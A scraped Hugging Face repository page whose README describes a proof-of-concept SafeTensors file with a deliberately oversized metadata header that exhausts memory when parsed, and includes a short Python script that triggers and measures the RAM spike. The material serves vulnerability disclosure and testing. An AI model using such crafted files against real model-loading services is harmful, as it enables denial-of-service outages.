Downloads · 30 days
0
Madhan-Alagarsamy/safetensors-oversized-metadata-poc
safetensors-oversized-metadata-poc is a machine learning model from Madhan-Alagarsamy. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
This repository contains a safe, non-executable proof-of-concept file demonstrating a Denial-of-Service (DoS) vulnerability in the SafeTensors file format.
Downloads · 30 days
0
Access
Public
Updated Feb 4, 2026
Repo size
104 MB
Likes
0
Public
Click a slice to open those files.
.safetensors104 MB · 100%
From the Hugging Face model README
This repository contains a safe, non-executable proof-of-concept file demonstrating a
Denial-of-Service (DoS) vulnerability in the SafeTensors file format.
The issue occurs because SafeTensors does not enforce any limit on metadata (header) size.
A .safetensors file may contain hundreds of thousands of metadata entries, which the parser loads fully into memory, causing massive RAM usage.
.safetensors file included here contains intentionally oversized metadata.This PoC supports responsible vulnerability testing and disclosure.
oversized_metadata.safetensors
generate_poc.py
Do NOT load oversized_metadata.safetensors on:
This PoC causes RAM spikes by design.
Use this exact code to trigger the issue:
from safetensors import safe_open
import psutil, os
def get_ram_mb():
return psutil.Process(os.getpid()).memory_info().rss / (1024 * 1024)
print(f"[+] Initial RAM: {get_ram_mb():.2f} MB")
# Load the oversized metadata file
with safe_open("oversized_metadata.safetensors", framework="pt") as f:
keys = f.keys() # <-- This triggers full metadata parsing
print(f"[+] RAM After Parsing: {get_ram_mb():.2f} MB")
print("[!] Large RAM increase confirms the issue.")